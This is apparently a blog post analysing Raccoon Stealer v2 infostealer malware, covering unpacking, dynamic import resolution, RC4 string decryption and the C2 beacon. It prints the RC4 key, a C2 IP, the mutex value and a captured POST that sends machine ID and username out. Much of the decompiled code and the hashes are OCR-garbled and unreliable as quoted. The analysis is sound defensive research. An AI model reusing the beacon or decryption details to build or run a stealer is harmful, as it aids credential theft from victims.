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Introduction

Raccoon Stealer is an infostealer sold on underground hacker/cybercriminal forums, first
observed in early 2019. Raccoon Stealer v2 first appeared in June of 2022, after the
developers returned from a supposed “retirement” which they had announced in early 2022.
[1] Just as with Raccoon Stealer v1, v2 is capable of stealing information to include cookies
and other browser data, credit card data, usernames, and passwords.

Technical Analysis

Raccoon Stealer v2 is written in C/C++, and coming in at only ~57kb, it is fairly lightweight.
Below are the hashes for the packed sample, and the unpacked sample. Based on my
research, Raccoon Stealer is not sold packed by default, rather, any packing must be done
by the customer who will deploy the malware.

o Packed SHA256:
40daa898f98206806ad3ff78f63409d509922e0c482684cf4f180faac8cac273

e Unpacked SHA256:
0123b26df3c79bac0a3fda79072e36¢159cfd1824ae3fd4b7fodea9bda9c7909

Unpacking
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Unpacking this sample is pretty straightforward. All | did was place breakpoints on a few API
calls of interest such as VirtualProtect, WriteProcessMemory, CreateProcessinternalW, and
VirtualAlloc. Once the VirtualProtect breakpoint is hit, | followed the address in the EAX
register in the memory dump, then ran the program again until the next breakpoint. After that,
| was able to dump the payload from memory and continue my analysis.

=% Threads “m Handlel

<VirtualProtect>

A Dump 4 B pump 5 @ watch 1

(Command:

Figure 1. Dumping te second stage payload from memory.

Resolving Imports

To start off, | opened the payload in PEstudio to perform some basic static analysis, which
will guide how | carry out the rest of the analysis. Opening the binary in PEstudio, the small
number of imported functions (only 8) leads me to believe that the malware probably
resolves its imports dynamically.
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Figure 2. Imported functions displayed in PEstudio.

Disassembling the binary in Ghidra, | found the import resolver function early on in the
binary, as expected. This function simply uses the GetProcAddress API function to load the
address of the functions it will need. A few of these functions immediately catch my eye,
those being the internet related functions highlighted below in figure 3.
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Decompile: resolve_imports - {raccoon_006D0000_resolved SCY.bin) ﬁ | [ | @ | ﬂ| * X

4 kegllosekey = (*LetProcAddress) (1Vard, s PRegllosekey 00Z0Co50] 7

g2 DAT 0040e0a8 = (*GetProchddress) (iVard,s RegEnumKeyExW_0040c55c) r

93 RegipenkKeyvExW = (*GetProchddress) (iVard, s RegOpenKevExW_0040c56c) ;

94 RegQueryValueExW = (*GetProclddress) (iVard, &eDAT 0040c57c):

945 DAT 0040e0cd4 = (*GetPFrochddress) (iVar4d,s SystemFunction036_0040c590) ;7

96 (*GetProchddress) {iVars, s_CharUpperW_0040c5ad);

947 DAT 00402130 = (*GetProchddress) (iVari,s EnumDisplayDevicesW 0040cSk0j;
98 FetlClientRect = (*GzetPFrochddress) (iVard,3_GetClientBect_0040c5cd)

99 GetDC = (*GetProchAddress) (iVar5,s EEtD’;DD4Dc5d4ﬁ:
100 DAT_0040el4c = (*GetFrochddress) (iVar3,&DRT_0040c3dc);
101 GetSystemMetrics = (*GetProclddress) (iVars,s_GetSystemMetrics 0040c5£0);
102 BeleaseDC = (*GetProchAddress) (iVar3,s ReleaseDC 0040cé04);
103 DAT 0040e0£f0 = (*GetProchddress) (iVars,s_wsprintiW_0040cel0):
104 CoInitialize = (*GetProchddress) (iVari,s Colnitialize 0040cé&lc)r
105 DAT_ 00402184 = (*GetProchddreas) (iVarZ,s_CoCreatelnstance 0040ce&2c) »
106 DAT 0040e03c = (*GetProchddress) (iVarg,s E“yptqt“iquDEiqa“EP ,_0040cE40) 5
107 DAT 00402154 = (*GetProchddreass) (iVard,s_CryptStringToBinaryW 0040c658) ;
102 DAT 00402020 = (*GetProchddress) (iVarg, C“grt3lia“§Tth“lﬂgw Dﬂ4ﬂc:-ﬂﬁ
109 DAT 0040e0b4 = (*GetProchddreas) (iVard, C“g;thp“ctectjata 0040ces8s
110 InternetConnect = (%G etE“ccfdd“essj{l """" ¢ 3_InternetConnectW_0040c6Sc
111 InternetipenW = (*GetProcAddress) (iVar3,s IitE“iEtuIEﬂh 0040ceka) 7
112 DAT_0040slec = {”CEEE“CErdd“ESSJ{1?&“&,3 _Internet3etOptionW_0040cécO) ;
113 [{*GetProchddress) (iVar3, s IutE“uetuxeqU“l , 0040ced4)
114 InternetOpenlrld = (*G EEE“CErdd“ESSJ{l """" , 8_InternetOpenUrli_0040c6ed) ;
115 (*GetProchddress) {iVar3, s_InternetReadFileExW 0040céfc)r
116 InternetReadFile = {*CetE“ccrdd“Essj{1?&*;,3 InternetReadFile 0040c710);
117 InternetCloseHandle = (%G EtF“ccrdd“essﬁ{l """" , 3_InternetCloseHandle 0040c724);
113 HotplpenBRequestW = (¥GetProchddress) (iVar3, s ittpuxenRequestn 0040c738) 7
119 HttpSendBequestd = ([*G EtE“CErdﬂ“ESSJ{l?&“J,S AttpSendRequestii_0040cT4c) ;
120 (*GetProchddress) {iVar3, s_HttplueryInfold 0040c7e0);
121 (*zetFrocRddresa) (1Var3, s_HtopQueryInfoW 0040c770) ;
122 1
123 return;

<

Figure 3. Internet-related functions in the import resolver function.

Decrypting Strings and C2 IP Address

The malware also obfuscates its strings using Base64 encoding and RC4 encryption. The
RC4 encrypted strings are stored in the Base64 encoded form. These strings are Base64
decoded, then decrypted using the RC4 key “edinayarossiya”, which means “United Russia”
in Russian. Once the strings are decrypted, the malware then performs the same decryption

routine for the C2 IP address, but using a different RC4 key.
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Decompile: entry - (raccoon_006D0000_resalved _SCY.Gin) ‘@. | [ | Q]‘ | ﬂ| v X

2 int local 87
33
34 resolve_imports():

35 decrpyt_strings():

4 iVard = FUONM_0040a6d2 (s__ 0040d4a8) 7
47 iVar4 = bf4_decode (iVar4,&local_E&):

43 local 3c[l] = rcd_decrypt (eDAT 0040ecSi,iVard,piVarls, (int)pcVarld);
45 piVarl3 = &local B;

50 pcWVarld = 5 403f7bl21a3afd%e8d27£945140b8a%2_0040d443c;

51 iVard = FUN_0040ad6d2(s__ 0040d44£0) -

52 iVard = bt4_decode (iVard,&local &)

53 local_3c[2] = rcd_decrypt(eDAT 0040ec98,iVard,piVarli, (int)pcVarld):
54 piVarl3 = elocal_3;

55 pcVarld = s_403f7bl2lajafd9esd27i545140b8a%2_0040d43cs

e}

G iVard = FUNM 0040agd2 (s 00404538) 7

7 iVard = b&4_decode (iVar4,elocal E):

_3c[3] = rocd_decrypt {(sDRT_0040ec%3,iVard,piVarli, (int)pcVarld):

L1 0o
=
=
%]

1]

=

piVarl3 = &local &;
pcWVarld = 5 403f7kl2la3afd9e8d27£945140kb3a%2 0040d43c;
iVard = FUN_0040a6d2 (s__ 00404520);

= i

L T O T T T I

36 {(*CoInitialize) {0);

37 local_8 = 0Or

38 local_ 14 = (short *)FUN_0040a5%a({s_403f7bl21a3afd%e8427f945140b8a5%2 0040d443c);

39 iV i = glocal_&; 4:3"&\” RC4 key

40 pcVarld = 3 403f7kl2la3afd%:8d27£945140b8a%2_0040d43c

41 iVar4 = FUN_0040aéd2 (s_1Td2g3ilYd/akTgVOhVwlNFSk_ 00404480

2 iVard = b64_decode (iVar4,elocal E)r %Baw encoding of RC4
43 local 3c[0] = rc4_decrypt (&DAT_0040ec®3, iVard,piVarli, (int)pcVarld) =encryp1:ed C2IP

44 piVarli = elocal &;

45 pcVarld = s 403f7bl2la3afd%e8d27£945140k8a%2 0040d43c;

Figure 4. Decoding and decrypting the C2 IP address.

With this RC4 key and Base64 encoded data, | could use cyberchef to get the IP address of

the C2 node.
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Figure 5. Extracting the C2 IP address in cyberchef.

Checking Mutex

Next, the malware checks to see if another instance of it is already running on the infected
machine by opening a mutex with the value of 8724643052. If the OpenMutexW function fails
and returns a 0, the malware creates a mutex with the value, then continues execution. If the
function succeeds and returns 1 (true), the malware exits.
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[ et iy - Gscon 050500, e 51 %02 @~ x
) ’ S L

ppcVarl2 = ppcVarl2 + 1;

[l

71 } while (ppcVarli != ({code **)&DRT 0040=004);
72 }

73 iVard = (*CpenMutexW) (Ox1£0001,0,u_2724643052_00404edE) ;
74 if {iVard == 0} {

75 (*CreateMutex) (0,0,u_3724643052_0040d6d8) ;

76 }

77 elae |

78 (*ExitProceas) (2)

74 }

a0 bVars = aystem check();

31 if (CONCAT31 (extraout wvar,bVari) != 0} |

a2 process_enum();

23 }

G4 local lc = DAT_0040eb03;

g5 local 1% = (HMODULE) 0xO;

ge local 285 = DAT_0040elf3;

a7 local 24 = 07

a8 local o = (wvodid *)FUN_0040335%b(&local lc)r

39 local 10 = (short *) (*local alloc) (Ox40,0xff78);
0 uvVard = (*local_alloc) (Ox40,0x&18);

91 iVard4 = crypto_reqg kev();

92 WVare = GetUserName () »

93 iVarT = (*3trlCpyW) (uVar3,DAT 0040eb3c);

94 psVari = FUN_0040a5db{iVarT,iVard);

95 psVari = FUON_0040a5db( (int)psVars, DAT 0040=200) 7

FUM_0040a5dk({ {int)psVars, {(int)pWVare) -

97 paVars FUN_0040a5dk{ {int)psVars, DRT 0040=k00) »

98 psVari = FUON_0040a3db( (int)psVars, (int)local 14);

99 local & = (*5trCpyW) (local_ l10,psVarg);

100 (¥*LocalFree) (1Vard) ; W
£ >

Figure 6. Checking for open mutex.

96 psVarst

SYSTEM Check and Process Enumeration

The malware also checks if it is running as SYSTEM by comparing the current process’s
token to the SYSTEM SID, S-1-5-18.
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Decompile: system_chedk - (raccoon_00600000_resolved SCYE 'ﬁ. | [ | Qf | ﬂ| - X
1 LS
2 I::-u:u:vl gystem_check (void)
3
4
3 code *pcVarl;
[ undefinedd4d uVarz;
7 int iVar3;
g undefinedd *puVard;
4 undefined4 local_10;
10 undefined4 local cy
11 undefined4 local I;
12
13 pcVarl = OpenProcessToken;
14 local_3 = 0;
15 uvVard = (*GetCurrentFrocess) (8, &local _c);
16 iVard = (*pcVarl) (uVarz);
17 if ({iVar3 !'= 0} ==
g ({iVar3 = (*GetTokenInformation) (local c,1,0,local &,&local &), iVar3 !=0 ||
19 (iVard = ([¥GetLastError) (), iVar3 = 0xTa)})) |
20 puvVard = (undefined4 *) (*GloballZlloc) (0x40,local E);
21 iVar3 = (*GetTokenInformation) (local c,l,puVard,local %, &local &) ;
22 if {iVar3s !'=0) |
23 local 10 = 07
24 iVari = (*Convert3idToString5idW) (*puVar4, &local_10);
25 if {ivar3 !'= 0} {
26 iVard = (*latrcmpiW) (u_5-1-5-13_0040def0, local_ 10} ;
27 {(*GlocbalFree) (puVard);
28 return iVari == 0;
25 }
30 1
3l }
32 return false;
33 (] W
< >

Figure 7. Malware checking if it is running with SYSTEM privileges.
If the malware is running as SYSTEM, it then calls a process enumeration function using
CreateToolHelpSnapshot32, Process32First, and Process32Next.
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Decompile: process_enum - (raccoon_00600000_resalved SCY

W= L [

{

A

10

£

G W Q@ x

int process_enum(void)

undefinedd uVarl;

undefinedd4 local 230 [13%];

uVarl = (¥CreateTococlHelpSnapshot32) (2,0);
local 230[0] = Ox22cy
iVar2 = (*Procesa32Firast) (uVarl,local 230)r
if {ivarz !'= 0) [

do {

iVar2 = (*Proceas3iNext) (uVarl,local 230);

} while ({iVar2 != 0};
ivarz = 1;

1

Figure 8. Enumerating the functions on the infected machine.

If the malware is not running with SYSTEM privileges, it simply skips over the process

enumeration function and continues with its execution.

Host GUID and Username

Before connecting to the C2 node, the malware will retrieve the host’s GUID by querying the

SOFTWARE\Microsoft\Cryptography registry key.
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Decompile: get_machine_id - {raccoon_00&00000_resalved_SCY.bin} f"f | T | Q | ﬁ| -
1
Z |undefined4 get _machine id(void)
3
41
3 undefinedd uvVarl;
] int iVarZ;
7 int iVar3;
g undefined4 local 107
S undefined4 local c;
L0 undefined4 local E;
11
12 uvarl = {*local alloc) (0x40,0x208)r
13 local_c = 0x104;
14 local 10 = 1;
15 iVar2 = (*BegUpenKeyExW) (0x80000002,u SOFIWARE\Microscft\Cryptography 00404710,0,0x2011%, &local &)
L&
17 iVar3 = (*ReglueryValueExHW) {;::a'__i,ZJAI_IJIJaLIJeaTIJ,El,&;::a;_;Z,:".'ar;,&;::a;_::l.'
12 if ({ivarz != 0} |l ({ivar3 != 0)) |
19 (*BegClossKey) (local_8):
20 1
21 return uvarl;
22 |1
23

Figure 9. Retrieving the host GUID from the registry.
The malware also retrieves the current user’s username, and moves it, along with the
machine ID onto the heap before contacting the C2 node.

C2 Communication

First the malware uses the WideCharToMultiByte API function to form all of the parameters it
needs in order to connect to the C2 node, including the machinelD, username, and configlD
parameters which will be sent to the C2 node via POST request. Of note, the configID
parameter is just the RC4 key that was used to decrypt the C2 IP address earlier in the
execution.
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‘ Wireshark - Follow TCP Stream (tcp.stream eq 21) - packets_20220910_101013.pcap

POST / HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: record

Host: 2.58.56.247

Content-Length: 94

Connection: Keep-Alive

Cache-Control: no-cache

machineId=9a7dddd3-e4dc-4576-9046-53e709bd1des | Aarondconfigld=403f7bl21a3afd9e8d271945148b8a92HTTP/1.0 200 OK
Server: FakeNet/1.3

Date: Sat, 10 Sep 2822 17:27:48 GMT

Content-Type: text/html

Content-Length: 1446

<html>

<head>

<title>FakeNet-NG</title>

</head>

<body>

<b><pre>
IR S [ Al [ W [ S ! [ O |
I S T NN Y I P l— N
[ O Y AU A I O A B
[I Y (Y [ N I Vo P O [ A
(MR WAN (M (| [ N W

HTTP LISTENER
Il

Flgure 10. POST request to the C2 node containing the machinelD, username, and configlD

parameters.

The malware then checks to see if the response from the C2 node is larger than 0x3f (63 in
decimal) characters long. If it is, the malware continues execution. If not, the malware breaks

out of the loop and exits.

Figure 11. Checking the length of the C2 node’s response.

111 psVarll = (short *)C2_connect(psVard,local §,local c,&local 28);
112 iVard = (¥lstrlenW) (psVarlO)r
113 if (0x3f < ivard) |
114 psVars = (short *) (*3trlpyW) (psVars,psVars):
115 (¥LocalFree) {(psVarg)
1 & break;

Unfortunately, at the time | performed my analysis, the C2 IP address did not appear to be up
anymore, as Shodan showed that port 3389 (RDP) was the only listening port. Assuming that
the C2 node was still operational and able to communicate with the infected host, the C2
node would return several different DLL’s for download to the infected host. Those DLL’s
would then be placed in the “C:\Documents and Settings\Administrator\Local

Settings\Application Data” folder.
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L27 set_folder_path({elocal_ &);

128 if ({psVarlld != (short *)0x0) |

129 moving d11's{{int)psVarll, local 3);

130 ivar7 = 0;

131 iVar4 = (*Str3trW) (psVarld,DAT 0040ecOd);

132 if {ivard == 0} {

133 [{*ExitProcess) (0xf£f£££f£ff);

134 }

135 else |

136 iVar7 = iVard - (int)psVarld >> 1;

137 }

133 local c = (void *) (*local_alloc) (Ox40,0x100);

139 iVard = (*lstrlenW) (psVarli);

140 iVard = FUN_0040adbc((int)psVarll,slocal_c,iVar7? + &,iVard);
141 if {iVard == 0) {

142 [{*ExitProcess) (0xfffffffe);

143 }

144 pEVard = FUN_0040a5db({{int)psVars, (int)local _c);
145 (*LocalFree) (local_c)r

146 uVars = (*local_alloc) (0x40,0x208) >

147 iVard = (*5trlpyW) (uVars,local 2)r

143 psVar® = FUN_0040a5dk(ivVar4,DAT 0040=a30);

149 local 10 = FUN_0040aS5db({{int)psVard,DAT 0040=kE0)
150 uVard = (*local alloc) {0x40,0x208);

151 iVard = (*5trCpyW) (uVars,local 8)r

152 psVar® = FUN_0040a5dk{iVard,DAT 0040=a50) 7

153 local 14 = FUM_0040aSdk({({int)psVars,DAT_0040=2c38):
154 (*SetCurrentDirectoryW) {local_8)r

155 iVard = (*local alloc) (0x40,0x5000) ;7

156 (*GetEnvironmentVariableW) {DAT_0040=adi,iVard, 0x2800)
157 psVar® = FUN_0040a5dbk(iVar4,DAT 0040=ldc);

153 psVard = FUON_0040a5dbk({{int)psVars, local_S)»

159 (*DAT 0040el15c) (DAT 0040eads,psVard);

<

>

Figure 12. Note the function setting the folder path before moving the downloaded DLL'’s to

that path (C:\Documents and Settings\Administrator\Local Settings\Application Data)
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Decompile: set_folder_path - (raccoon_00600000_resolved SCY. f} | [ | E/ | ﬁ| * X
2 Lndefined4 __fastcall set_folder path(undefined4 *param 1)
41
5
7 short *hMsm 007
i undefined4 uvVari;
i} hMem = (HLOCAL) (*local alloc) (0x40, 0x20a) 7
1 /Y 0xle = Ci\Documents and Settings\Administratori\Local Settingsh\Applicaticon
2 Data */
3 iVarl = ([(*53HGetFolderPathW) (0, 0xlc, 0,0, hMem) »
4 if {iVarl < 0} |
5 if {hMem '= (HLOCAL)O=0) {
& LocalFree (hMem)
7 }
g uvard = 07
g }
a elae |
1 hMem 00 = FUN_0040a5dbk({int)hMem, DAT 0040=kbk0) 7
2 uVard2 = (*5trCpyW) (*param 1, hMem 00} ;
3 Yparam 1 = uVari;
4 Local Free (hiem 00} ;
5 uVar?2 = 1
€ }
7 return uvVari;
20}
< >

Figure 13. Setting the folder path for the DLL’s to be placed into.

It is at this point that the malware would perform the bulk of it’s stealing functionality,
including cookies, passwords, credit card data, passwords, browser history, etc. [2] Some of
this functionality would automatically be executed, and some would require a command from
an operator in control of the C2 node.

Conclusion

In conclusion, Raccoon Stealer v2 is a relatively simple, yet very capable info stealer just like
v1. Both versions of this stealer pose a threat to organizations of all types, as well as
individuals. The information stolen by this malware can be used to take over accounts of all
types, financial, social media, corporate, etc.

| hope you enjoyed this post, and that you’ll come back again! A follow and share would be
super appreciated. Feedback is certainly welcome as well.
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